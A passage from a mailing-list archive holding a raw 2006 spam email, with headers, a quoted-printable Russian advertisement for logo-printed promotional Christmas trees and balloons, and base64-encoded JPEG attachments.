and then resend it, or contact you= r local office IT department for assistance. For more details, see www.bake= rweb.com/emailpolicy. 630 ------=_NextPart_000_0006_F41B33C2.7390207F-- --------------InterScan_NT_MIME_Boundary-- From owner-xfs@oss.sgi.com Mon Oct 23 10:34:47 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 10:34:54 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9NHYjaG015779 for ; Mon, 23 Oct 2006 10:34:46 -0700 X-ASG-Debug-ID: 1161620446-5404-120-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from localhost (10001341110.0000071645.acesso.oni.pt [89.26.173.126]) by cuda.sgi.com (Spam Firewall) with SMTP id D4E9F4C7512 for ; Mon, 23 Oct 2006 09:20:46 -0700 (PDT) Message-ID: From: Gun Chapman To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: =?windows-1251?B?zeDx8u7r/O375SC46+roLg==?= Subject: =?windows-1251?B?zeDx8u7r/O375SC46+roLg==?= Date: Mon, 23 Oct 2006 19:14:57 +0300 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_0000_2F4B841F.9BB707AE" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express V6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Barracuda-Spam-Score: 0.81 X-Barracuda-Spam-Status: No, SCORE=0.81 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=EXTRA_MPART_TYPE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.81 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry X-archive-position: 9402 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: shuang9@barco.com Precedence: bulk X-list: xfs Status: O This is a multi-part message in MIME format. ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: multipart/alternative; boundary="----=_NextPart_001_0001_D5E90549.93078183" ------=_NextPart_001_0001_D5E90549.93078183 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =20 =D3=E2=E0=E6=E0=E5=EC=FB=E5 =C4=E0=EC=FB =E8 =C3=EE=F1=EF=EE=E4=E0! =20 =C5=F1=EB=E8 =E4=EE=EB=E3=EE =F1=EC=EE=F2=F0=E5=F2=FC =ED=E0 =EE=E4=E8=ED = =E8 =F2=EE=F2 =E6=E5 =EF=F0=E5=E4=EC=E5=F2, =F2=EE =EE=ED =C2=E0=EC =EE=E1= =FF=E7=E0=F2=E5=EB=FC=ED=EE =EF=F0=E8=F1=ED=E8=F2=F1=FF. =C0 =E5=F1=EB=E8 =F1=EC=EE=F2=F0=E5=F2=FC =ED=E0 =ED=E5=E3=EE =E2 =F2=E5=F7= =E5=ED=E8=E8 =E4=E2=F3=F5 =ED=E5=E4=E5=EB=FC, =F2=EE =F1=ED=E8=F2=F1=FF =EE= =ED =EF=EE=F2=EE=EC =E1=F3=E4=E5=F2 =F6=E5=EB=FB=E9 =EC=E5=F1=FF=F6. =CE=F1=EE=E1=EE =E2=EF=E5=F7=E0=F2=EB=E8= =F2=E5=EB=FC=ED=FB=EC - =E3=EE=E4. =D1=EB=E5=E4=EE=E2=E0=F2=E5=EB=FC=ED=EE,= =E5=F1=EB=E8 =EF=EE=F1=F2=E0=E2=E8=F2=FC =ED=E0 =F1=F2=EE=EB =C2=E0=F8=E5=EC=F3 =EA=EB=E8=E5=ED=F2=F3 =E1=E5=E7=E4= =E5=EB=F3=F8=EA=F3 =F1 =C2=E0=F8=E8=EC =EB=EE=E3=EE=F2=E8=EF=EE=EC, =F2=EE = =E5=F1=F2=FC =E1=EE=EB=FC=F8=E0=FF =E2=E5=F0=EE=FF=F2=ED=EE=F1=F2=FC, =F7=F2=EE =EE=ED =C2=E0=F1 =ED=E8=EA=EE=E3=E4=E0 =ED=E5 =E7=E0=E1=F3=E4=E5= =F2. =C4=E0=E6=E5 =E2=EE =F1=ED=E5. =C2=EE=F2 =F2=EE=EB=FC=EA=EE =E2=EE=E7= =EC=EE=E6=ED=EE=F1=F2=E5=E9 =EE=F7=E5=ED=FC =EC=E0=EB=EE, =E4=E0=E1=FB =E8=F1=EF=EE=EB=FC=E7=EE=E2=E0=F2=FC =FD=F2=F3 = =F0=E5=E4=EA=F3=FE =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =ED=E0=EF=F0=FF=EC=F3= =FE =E2=EE=E7=E4=E5=E9=F1=F2=E2=EE=E2=E0=F2=FC =ED=E0 =F1=EE=E7=ED=E0=ED=E8=E5 =EA=EB=E8=E5=ED=F2=E0. =C4=E0 =E8 =E2=FB=E1= =EE=F0 =EF=EE=F1=F2=EE=FF=EB=FC=F6=E5=E2 =EB=E0=EA=EE=E2=EE=E9 =EF=EE=E2=E5= =F0=F5=ED=EE=F1=F2=E8 =E4=E5=F0=E5=E2=FF=ED=ED=EE=E3=EE =E4=F0=F3=E3=E0 =ED=E5 =E2=E5=EB=E8=EA. =C2=F1=E5 =E2=E0=EA=E0=ED=F2=ED=FB= =E5 =EC=E5=F1=F2=E0 =E7=E0=ED=FF=F2=FB. =CD=EE=E2=FB=E9 =E3=EE=E4 =E1=E5=E7 =B8=EB=EA=E8 =96 =FD=F2=EE =EA=E0=EA = =E2=EE=E5=ED=ED=FB=E9 =E1=E5=E7 =E7=ED=E0=F7=EA=EE=E2. =CF=F0=E5=E7=E5=ED= =F2=F3=FF =ED=E0=F1=F2=EE=EB=FC=ED=F3=FE =B8=EB=EA=F3, =EC=FB =F4=E0=EA=F2=E8=F7=E5=F1=EA=E8 =EE=E1=F0=E5=EA=E0=E5= =EC =EB=FE=E4=E5=E9 =ED=E0 =F1=EE=E7=E5=F0=F6=E0=ED=E8=E5 =E5=B8 =EF=F0=E8= =F1=F3=F2=F1=F2=E2=E8=FF =E2 =F2=E5=F7=E5=ED=E8=E8 =EC=E5=F1=FF=F6=E0 =ED=E0 =F0=E0=E1=EE=F7=E5=EC =F1=F2=EE=EB=E5. =D2=E5=EC = =F1=E0=EC=FB=EC, =E4=E5=EB=E0=FF =F0=EE=E4=ED=EE=E9 =F1=E5=F0=E4=F6=F3 =EB= =EE=E3=EE=F2=E8=EF =96 =EF=EE=EF=F3=EB=FF=F0=ED=FB=EC =E3=E5=F0=EE=E5=EC =F1=ED=EE=E2 =F1=E2=EE=E8=F5 =EA=EB=E8=E5=ED=F2=EE=E2.= =20 =CF=EE=EC=E8=EC=EE =F0=FF=E4=EE=E2=FB=F5 =E3=F0=E0=E6=E4=E0=ED, =ED=E0 =F1= =E2=E5=F2=E5 =F1=F3=F9=E5=F1=F2=E2=F3=FE=F2 =E5=F9=B8 =E8 =FD=F1=F2=E5=F2= =F1=F2=E2=F3=FE=F9=E8=E5 =F1=F3=E1=FA=E5=EA=F2=FB, =EF=F0=E5=E4=EF=EE=F7=E8=F2=E0=FE=F9=E8=E5 =ED=E0=F1=F2=EE=EB=FC=ED=EE=E9 = =B8=EB=EA=E5 =E4=F3=F8=E8=F1=F2=FB=E9 =F1=E8=E1=E8=F0=F1=EA=E8=E9 =EA=E5=E4= =F0 =E2 =E4=F3=E1=EE=E2=EE=E9 =EA=E0=E4=EA=E5. =D2=E0=EA=EE=E9 =EF=EE=E2=EE=F0=EE=F2 =EC=FB =EF=F0=E5=E4=F3=F1=EC=EE=F2=F0= =E5=EB=E8 =E7=E0=F0=E0=ED=E5=E5. =C4=E0=ED=ED=FB=EC =F2=EE=E2=E0=F0=E8=F9= =E0=EC =F0=E5=EA=EE=EC=E5=ED=E4=F3=E5=F2=F1=FF =E4=E0=F0=E8=F2=FC =EF=E5=F0=F1=EE=ED=E8=F4=E8=F6=E8=F0=EE=E2=E0=ED=ED=FB= =E5 =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E5 =F8=E0=F0=FB. =DD=F4=F4=E5=EA= =F2 =EF=EE=F2=F0=FF=F1=E0=FE=F9=E8=E9! =20 =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20= =20=20=20=20=20=20=20=20=20=20=20=20=20=20=20 =AB=CF=F3=F8=E8=F1=F2=FB=E5=BB =E5=EB=EE=F7=EA=E8, =F8=E0=F0=E8=EA=E8 =E8 = =F1=E2=E8=ED=EA=E8. =CD=E0=E8=EC=E5=ED=EE=E2=E0=ED=E8=E5 =D1=F2=EE=E8=EC=EE=F1=F2=FC =E7=E0 =F8=F2. 50- 100, =F8=F2.=20=20 101 - 500, =F8=F2.=20=20 501 - 1000, =F8=F2. =20=20=20 =C5=EB=EA=E0 =ED=E0=F1=F2=EE=EB=FC=ED=E0=FF, =EF=F3=F8=E8=F1=F2=E0=FF,=20 =E4=EB=E8=ED=E0 =F4=EB=EE=EA=E0 1.2 =E8=EB=E8 0.3 =EC=EC,=20 =F1=F2=EE=E8=EC=EE=F1=F2=FC =E1=E5=E7 =F8=E0=F0=E8=EA=E0=20 =C2=FB=F1=EE=F2=E0 20 =F1=EC.=20 150 =F0=F3=E1. 105 =F0=F3=E1.=20 95 =F0=F3=E1. =20=20=20 =C5=EB=EA=E0 =EC=E0=EB=E0=FF, =EF=F3=F8=E8=F1=F2=E0=FF, =E4=EB=E8=ED=E0 =F4=EB=EE=EA=E0 1.2 (=EF=EE=E4 =E7=E0=EA=E0=E7) =E8=EB=E8 = 0.3 =EC=EC=20 =C2=FB=F1=EE=F2=E0 12 =F1=EC.=20 150 =F0=F3=E1. 105 =F0=F3=E1.=20 95 =F0=F3=E1. =20=20=20 =D8=E0=F0 =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E9 =F1 =ED=E0=EF=EE=EB=ED= =E5=ED=E8=E5=EC,=20 =D4=EB=EE=EA 1,2 =EC=EC D 80 =EC=EC.=20 185 =F0=F3=E1. 150 =F0=F3=E1. 135 =F0=F3=E1. =20=20=20 =D8=E0=F0 =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E9 =F1 =ED=E0=EF=EE=EB=ED= =E5=ED=E8=E5=EC,=20 =D4=EB=EE=EA 1,2 =EC=EC D 120 =EC=EC.=20 300 =F0=F3=E1. 255 =F0=F3=E1.=20 225 =F0=F3=E1. =20 =C4=EE=EF=EE=EB=ED=E8=F2=E5=EB=FC=ED=FB=E5 =EE=EF=F6=E8=E8: =D8=E0=F0=E8=EA =EF=EB=E0=F1=F2=E8=EA=EE=E2=FB=E9 =EE=F2 45 =F0=F3=E1. (D= 80 =EC=EC.) =CD=E0=ED=E5=F1=E5=ED=E8=E5 =EB=EE=E3=EE=F2=E8=EF=E0 =ED=E0 = =F8=E0=F0=FB =EC=E5=F2=EE=E4=EE=EC =F2=E0=EC=EF=EE=EF=E5=F7=E0=F2=E8 =EE=F2 45 =F0=F3=E1. =D8=E0=F0 =ED=EE=E2= =EE=E3=EE=E4=ED=E8=E9 =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E9 90 =F0=F3=E1.= =C7=E0=EB=E8=E2=EA=E0 =F1=EC=EE=EB=EE=E9 =EE=F2 25 =F0=F3=E1.=20=20 =C2=F1=E5=E3=EE =ED=E0=E8=EB=F3=F7=F8=E5=E3=EE. =CF=F0=E8=E2=E5=F2, =C2=E0= =EC, =EB=E0=F1=EA=EE=E2=FB=E9 =E8 =ED=E5=E6=ED=FB=E9, =F2=E5=EF=EB=FB=E9, = =ED=E5=EE=E1=FA=FF=F2=ED=FB=E9. ------=_NextPart_001_0001_D5E90549.93078183 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =D3=E2=E0=E6=E0=E5=EC=FB=E5 =C4=E0=EC=FB = =E8 =C3=EE=F1=EF=EE=E4=E0!
     
    =C5=F1=EB=E8 =E4=EE=EB=E3=EE =F1=EC=EE=F2= =F0=E5=F2=FC =ED=E0 =EE=E4=E8=ED =E8 =F2=EE=F2 =E6=E5 =EF=F0=E5=E4=EC=E5=F2= , =F2=EE =EE=ED =C2=E0=EC =EE=E1=FF=E7=E0=F2=E5=EB=FC=ED=EE =EF=F0=E8=F1=ED=E8=F2=F1= =FF. =C0 =E5=F1=EB=E8 =F1=EC=EE=F2=F0=E5=F2=FC =ED=E0 =ED=E5=E3=EE =E2 =F2= =E5=F7=E5=ED=E8=E8 =E4=E2=F3=F5 =ED=E5=E4=E5=EB=FC, =F2=EE =F1=ED=E8=F2=F1=FF =EE=ED =EF=EE=F2=EE=EC =E1=F3=E4=E5=F2 =F6=E5=EB=FB=E9 = =EC=E5=F1=FF=F6.  =CE=F1=EE=E1=EE  =E2=EF=E5=F7=E0=F2=EB=E8=F2=E5= =EB=FC=ED=FB=EC - =E3=EE=E4. =D1=EB=E5=E4=EE=E2=E0=F2=E5=EB=FC=ED=EE, =E5=F1=EB=E8 =EF=EE=F1=F2=E0=E2= =E8=F2=FC =ED=E0 =F1=F2=EE=EB =C2=E0=F8=E5=EC=F3 =EA=EB=E8=E5=ED=F2=F3 =E1= =E5=E7=E4=E5=EB=F3=F8=EA=F3 =F1 =C2=E0=F8=E8=EC =EB=EE=E3=EE=F2=E8=EF=EE=EC, =F2=EE =E5=F1=F2=FC =E1=EE= =EB=FC=F8=E0=FF =E2=E5=F0=EE=FF=F2=ED=EE=F1=F2=FC, =F7=F2=EE =EE=ED =C2=E0= =F1 =ED=E8=EA=EE=E3=E4=E0 =ED=E5 =E7=E0=E1=F3=E4=E5=F2. =C4=E0=E6=E5 =E2=EE =F1=ED=E5. =C2=EE=F2 =F2=EE=EB=FC=EA=EE =E2=EE=E7=EC=EE= =E6=ED=EE=F1=F2=E5=E9 =EE=F7=E5=ED=FC =EC=E0=EB=EE, =E4=E0=E1=FB =E8=F1=EF= =EE=EB=FC=E7=EE=E2=E0=F2=FC =FD=F2=F3 =F0=E5=E4=EA=F3=FE =E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FC =ED=E0=EF=F0=FF=EC=F3=FE =E2=EE=E7=E4=E5= =E9=F1=F2=E2=EE=E2=E0=F2=FC =ED=E0 =F1=EE=E7=ED=E0=ED=E8=E5 =EA=EB=E8=E5=ED= =F2=E0. =C4=E0 =E8 =E2=FB=E1=EE=F0 =EF=EE=F1=F2=EE=FF=EB=FC=F6=E5=E2 =EB=E0=EA=EE=E2=EE=E9 =EF=EE=E2=E5=F0=F5=ED=EE=F1=F2=E8 =E4=E5=F0=E5=E2=FF= =ED=ED=EE=E3=EE =E4=F0=F3=E3=E0 =ED=E5 =E2=E5=EB=E8=EA. =C2=F1=E5 =E2=E0=EA= =E0=ED=F2=ED=FB=E5 =EC=E5=F1=F2=E0 =E7=E0=ED=FF=F2=FB.
    =CD=EE=E2=FB=E9 =E3=EE=E4 =E1=E5=E7 =B8=EB=EA=E8 =96= =FD=F2=EE =EA=E0=EA =E2=EE=E5=ED=ED=FB=E9 =E1=E5=E7 =E7=ED=E0=F7=EA=EE=E2.= =CF=F0=E5=E7=E5=ED=F2=F3=FF =ED=E0=F1=F2=EE=EB=FC=ED=F3=FE =B8=EB=EA=F3, =EC=FB =F4=E0=EA=F2=E8=F7=E5=F1=EA=E8 =EE=E1=F0=E5=EA=E0=E5= =EC =EB=FE=E4=E5=E9 =ED=E0 =F1=EE=E7=E5=F0=F6=E0=ED=E8=E5 =E5=B8 =EF=F0=E8= =F1=F3=F2=F1=F2=E2=E8=FF =E2 =F2=E5=F7=E5=ED=E8=E8 =EC=E5=F1=FF=F6=E0 =ED=E0 =F0=E0=E1=EE=F7=E5=EC =F1=F2=EE=EB=E5. =D2=E5=EC =F1=E0=EC=FB=EC, = =E4=E5=EB=E0=FF =F0=EE=E4=ED=EE=E9 =F1=E5=F0=E4=F6=F3 =EB=EE=E3=EE=F2=E8=EF= =96 =EF=EE=EF=F3=EB=FF=F0=ED=FB=EC =E3=E5=F0=EE=E5=EC =F1=ED=EE=E2 =F1=E2=EE=E8=F5 =EA=EB=E8=E5=ED=F2=EE=E2.
    =CF=EE=EC=E8=EC= =EE =F0=FF=E4=EE=E2=FB=F5 =E3=F0=E0=E6=E4=E0=ED, =ED=E0 =F1=E2=E5=F2=E5 =F1= =F3=F9=E5=F1=F2=E2=F3=FE=F2 =E5=F9=B8 =E8 =FD=F1=F2=E5=F2=F1=F2=E2=F3=FE=F9=E8=E5 =F1=F3=E1=FA=E5=EA=F2=FB, =EF=F0=E5= =E4=EF=EE=F7=E8=F2=E0=FE=F9=E8=E5 =ED=E0=F1=F2=EE=EB=FC=ED=EE=E9 =B8=EB=EA= =E5 =E4=F3=F8=E8=F1=F2=FB=E9 =F1=E8=E1=E8=F0=F1=EA=E8=E9 =EA=E5=E4=F0 =E2 =E4=F3=E1=EE=E2=EE=E9 =EA=E0=E4=EA=E5. =D2=E0=EA=EE=E9 =EF=EE=E2=EE=F0=EE= =F2 =EC=FB =EF=F0=E5=E4=F3=F1=EC=EE=F2=F0=E5=EB=E8 =E7=E0=F0=E0=ED=E5=E5. = =C4=E0=ED=ED=FB=EC =F2=EE=E2=E0=F0=E8=F9=E0=EC =F0=E5=EA=EE=EC=E5=ED=E4=F3=E5=F2=F1=FF =E4=E0=F0=E8=F2=FC =EF=E5=F0=F1=EE= =ED=E8=F4=E8=F6=E8=F0=EE=E2=E0=ED=ED=FB=E5 =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED= =ED=FB=E5 =F8=E0=F0=FB. =DD=F4=F4=E5=EA=F2 =EF=EE=F2=F0=FF=F1=E0=FE=F9=E8=E9!
     
               =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =     
    =AB=CF=F3=F8=E8=F1=F2=FB=E5=BB =E5=EB=EE= =F7=EA=E8, =F8=E0=F0=E8=EA=E8 =E8 =F1=E2=E8=ED=EA=E8.
     
    =CD=E0=E8=EC=E5=ED=EE=E2=E0=ED=E8=E5=
    =D1= =F2=EE=E8=EC=EE=F1=F2=FC =E7=E0 =F8=F2.
    &nbs= p; 50- 100, =F8=F2. 
    &nbs= p;101 - 500, =F8=F2. 
    501 = - 1000, =F8=F2.
    3D"=
    =C5=EB=EA=E0= =ED=E0=F1=F2=EE=EB=FC=ED=E0=FF, =EF=F3=F8=E8=F1=F2=E0=FF,
    =E4=EB=E8=ED= =E0 =F4=EB=EE=EA=E0 1.2 =E8=EB=E8 0.3 =EC=EC,
    =F1=F2=EE=E8= =EC=EE=F1=F2=FC =E1=E5=E7 =F8=E0=F0=E8=EA=E0
    =C2=FB=F1=EE= =F2=E0 20 =F1=EC.
    150 =F0=F3=E1.
    105 =F0=F3= =E1.
    95 =F0=F3=E1.
    3D"=
    =C5=EB=EA=E0= =EC=E0=EB=E0=FF, =EF=F3=F8=E8=F1=F2=E0=FF,
     =E4=EB= =E8=ED=E0 =F4=EB=EE=EA=E0 1.2 (=EF=EE=E4 =E7=E0=EA=E0=E7) =E8=EB=E8 0.3 =EC=EC
    =C2=FB=F1=EE= =F2=E0 12 =F1=EC.
    150 =F0=F3=E1.
    105 =F0=F3= =E1.
    95 =F0=F3=E1.
    3D"=
    =D8=E0=F0 = =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E9 =F1 =ED=E0=EF=EE=EB=ED=E5=ED=E8=E5=EC,
    =D4=EB=EE=EA= 1,2 =EC=EC D 80 =EC=EC.
    185 =F0=F3=E1.
    150 =F0=F3=E1.
    135 =F0=F3=E1.
    3D"=
    =D8=E0=F0 = =F4=EB=EE=EA=E8=F0=EE=E2=E0=ED=ED=FB=E9 =F1 =ED=E0=EF=EE=EB=ED=E5=ED=E8=E5=EC,
    =D4=EB=EE=EA= 1,2 =EC=EC D 120 =EC=EC.
    300 =F0=F3=E1.
    255 =F0=F3= =E1.
    225 =F0=F3=E1.
    =C4=EE=EF=EE=EB=ED=E8=F2= =E5=EB=FC=ED=FB=E5 =EE=EF=F6=E8=E8:3D""
    1. =D8=E0=F0=E8=EA, =EF=EB=E0=F1=F2=E8=EA=EE=E2=FB=E9 =EE=F2 45 =F0= =F3=E1. (D 80 =EC=EC.)
    2. =20
    3. =CD=E0=ED=E5=F1=E5=ED=E8=E5 =EB=EE=E3=EE=F2=E8=EF=E0 =ED=E0 =F8=E0=F0= =FB =EC=E5=F2=EE=E4=EE=EC =F2=E0=EC=EF=EE=EF=E5=F7=E0=F2=E8 =EE=F2 4,5= =F0=F3=E1.
    4. =20
    5. =D8=E0=F0 =ED=EE=E2=EE=E3=EE=E4=ED=E8=E9, =F4=EB=EE=EA=E8=F0=EE= =E2=E0=ED=ED=FB=E9 90 =F0=F3=E1.
    6. =20
    7. =C7=E0=EB=E8=E2=EA=E0 =F1=EC=EE=EB=EE=E9 =EE=F2 25 =F0=F3=E1.
    8. =C2=F1=E5=E3=EE =ED=E0=E8=EB=F3=F7=F8=E5=E3=EE. =CF=F0=E8=E2=E5=F2, = =C2=E0=EC, =EB=E0=F1=EA=EE=E2=FB=E9 =E8  =ED=E5=E6=ED=FB=E9, =F2=E5=EF=EB=FB=E9, =ED=E5=EE=E1=FA=FF=F2=ED=FB=E9.
      ------=_NextPart_001_0001_D5E90549.93078183-- ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: image/jpg; name="uel.jpg" Content-Transfer-Encoding: base64 Content-ID: <303ab062f434$6b1eee88$82f3e9d3@barco.com> /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAAAAA/+4ADkFk b2JlAGTAAAAAAf/bAIQAGxoaKR0pQSYmQUIvLy9CRz8+Pj9HR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHRwEdKSk0JjQ/KCg/ Rz81P0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dH/8AAEQgAVQBTAwEiAAIRAQMRAf/EAHkAAAIDAQEAAAAAAAAA AAAAAAAFAQQGAgMBAQEBAQEAAAAAAAAAAAAAAAABAgQDEAACAQMBBAgGAQUA AAAAAAAAAQIRAwQSITEyBUFRcaHRIhMVYYGRQlJiFHKS0iMzEQEBAQADAQEA AAAAAAAAAAAAAREhMQISA//aAAwDAQACEQMRAD8A0oEgBAAeGTkRx4Ocvkut gcZWUrEfynLhj1lVZF7HaeRRwl0x+19TO8THlKTyL3HLhX4ovzhGa0yVUwiY tSVVuJElvIeBd9G5/wApbYvqHadQQASAVAEgAAAAQUcyxO443LdHK29z3Muy aSqxfe5jGOyC1PuLJb0lsnbq1cyZzWqMYRXF0/QvibHz/M3cWx9Q3hOM1WLq hZZ2ksvRLnR/k3lZk1BRVdT6ewc2oK3BRW6Koc3bMLq0zSkhHK9dwr/pQeuE qUi9rIvTRAQiQoAAACCSAFGdecp+lHct5WljUVTzv3PTyHXrLlzLjp3HV54k xx/pv12oQkoujLFjJVm4l9kt6KN7KjJNKKT6ynGTboPVlmN+fNl1rs1TlZkr XEU8KePDZTTc6de+vzGluulV30Qp5zRWls8zl8zldBwmSY7Hzb1lpRdV1Pab CLqk/gCOgAAqAFuZzGOM9NNUhHf5nfvbK6V+oTTDmuM5P1obacVBI7jfSe+J mzxpt8SlxLrHMbWHneZeWT3pOjNz1YzxWbqNOWYbvTVyS8ke9ja3yixB1o5f 1MYpKC6EkS1rHRmM/IjkX1Fv/XF08S1zDmiSdqy6vpl4GfMpa2WPi2LSrbS7 d5bMPayLll1hJxG1jnUlsuxr8VvBrRAL/crNK1dNOrd8afWoBdRl8thky1tu MqUKnskfzf0HoAwh9kX5v6B7JR1U3XsHpSzcpY8K/c9wFG5alirzX2vhSoud z15ON27JR6Nm/tKs5ub1N1bPMPPadR5NGarGdV2HXsf79wvwcx406Pge/wAT Wxakk1uYbnJD7H+/cT7H+/cPiQuE3tEKU1Ph0/PVqqA5AGAAAKgW8w/j7PXr XbSgAEpPP+H0er3eJ40xeu7/AGx/yAAy6gsSvmd2nYvE1VrTojo4abOwADUe oAAUAAAf/9k= ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: image/jpg; name="kiapdk.jpg" Content-Transfer-Encoding: base64 Content-ID: <72c3361bb376$74fd0668$2de7e923@barco.com> /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAAAAA/+4ADkFk b2JlAGTAAAAAAf/bAIQAGxoaKR0pQSYmQUIvLy9CRz8+Pj9HR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHRwEdKSk0JjQ/KCg/ Rz81P0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dH/8AAEQgAUABEAwEiAAIRAQMRAf/EAHoAAAIDAQEAAAAAAAAA AAAAAAAGAwQFAgEBAQEBAQAAAAAAAAAAAAAAAAABAgMQAAEDAgQEAwYEBwAA AAAAAAEAAgMRBCESEwUxQVFhcZGhIjJCYhQVgbHhI8HRUtIzQwYRAQEBAAMB AAAAAAAAAAAAAAABESFBAnH/2gAMAwEAAhEDEQA/AGVCEIBY27bj9O3Tj/yO 9FoXlyLaJ0h5cPFLm22pvZTcTYgHzKCGC8uLKQGWuR+NDz7puikbK0Paagqt fWbbuPIcCPdPQrD2q5fbTG1fiCaeB7IhpQhCKEIQgEIXiCretikjMcrg0FKU MrrScNhfnbmHDgVHcPMtw7XJaM3jQeC3tstbMnNGdR4/q/kiLW7Svity6PAk gE9AsPapLeN+rM45+VeHjVNU7mNYTJTIBjVJb423Up0GZGKW4p2ZKx4q1wIP dSJSj2p1MHur2GCtRXU9i4MnOeN2Ad0UllDGhc5hTNXClaoWh0uXvawVcQB3 XST96ke64yvJDBSiC5uF7ZP+HVf1GHqq2zQSOn1QC1gqpbI7fHi41d84TJE9 j2gxkFvZBg7/ADkBsI+L2ipLO3DGtZ2qfFVN+aRMx3Kn8VqW7hWvJwqFy99N eVguDXBoVa5i143Md09VXNzWQ+OCvTzNZA6Thgk5p9ZP1Tvt3zVyIUeg77dm pjmz/ghdMZNSq3MEMjazAUHMrO3HdjbP0oxmf3WYLa5vjnndkZ8xp5BVEN99 G2rbcOLutfZWzscUkcRL8A44AoggsrTEua53Umvoqdzukly7RtAaHCvP9Ag0 dziju2ZA5uo3FoqPJYtpffT/ALU1W5TgeY/RVGWcj7jQJpJ17qeaOeA0uGag 6n+4LNmrra+5WzW8QfBZE9627e2MnThBVdlXGscPnmKsOsrq7IqwMHWgakhb prpHpU/15fRCj+m/Y0K/DlqhaRm7jtBuZNSMhrjxqqo2GR3vyfmUzIRS+3/n 4x7z3HyXJvrawaY7cZnDn38UwkVBHVJN1YTwuIylw6hEVRcSamrX261qmGHe 2kASt/EJfbbTO4Md5FaFts88pq8ZG+qiG5hDgCOBXVFxGwRtDBwaKLtVoIQh B//Z ------=_NextPart_000_0000_2F4B841F.9BB707AE Content-Type: image/jpg; name="wyrzp.jpg" Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAAAAA/+4ADkFk b2JlAGTAAAAAAf/bAIQAGxoaKR0pQSYmQUIvLy9CRz8+Pj9HR0dHR0dHR0dH R0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHRwEdKSk0JjQ/KCg/ Rz81P0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dH R0dHR0dHR0dH/8AAEQgAWgBRAwEiAAIRAQMRAf/EAHoAAAIDAQEBAAAAAAAA AAAAAAAFAwQGAQIHAQEBAQEAAAAAAAAAAAAAAAAAAQIDEAACAQMCBAQFAgcB AAAAAAAAAQIRAwQhMVESIgVBgTITYXGRwUKhI7HRUmKCQ4MUEQEBAQEAAwEB AAAAAAAAAAAAARECITFBEnH/2gAMAwEAAhEDEQA/ANKAAAHG6KpyU1FVk6IU 5XdrcE1DqImquTkK5FTa6ZT+ngNca4+eUHskmvMyUshuKtrZOqPUc+7GXMpU dKeRmSr+m4AylrvV6PqpJDvF7layNE+WX9LNoYAABQAAAEGRkRsR5pE0pKKq /Ax+dmPInX8VsEtGXnTvvV6cBZKTboglL6nYx5dZJjEkelFRXxOtKW+5ynAA qNxcTsZtEzhJKrTS+RDOddEBpO19052rV16/jLiaA+dRdDa9ty//AFWk36o6 SAYAABSvu1/27XKt56eRk5OrHve59cY8I/xEDIz9RSepIpNrepFuxvh46l1S WgtxrC9PiX8G2pNye5du2I3oPljqtmJ7N+VmX2J7XMp5VS0M9kRULkktql95 ap0xo+IvvOLdY7vcQqNDnst/27/J4TVPPwEpZxp+3djLhJGkb8DoAZfva/eT 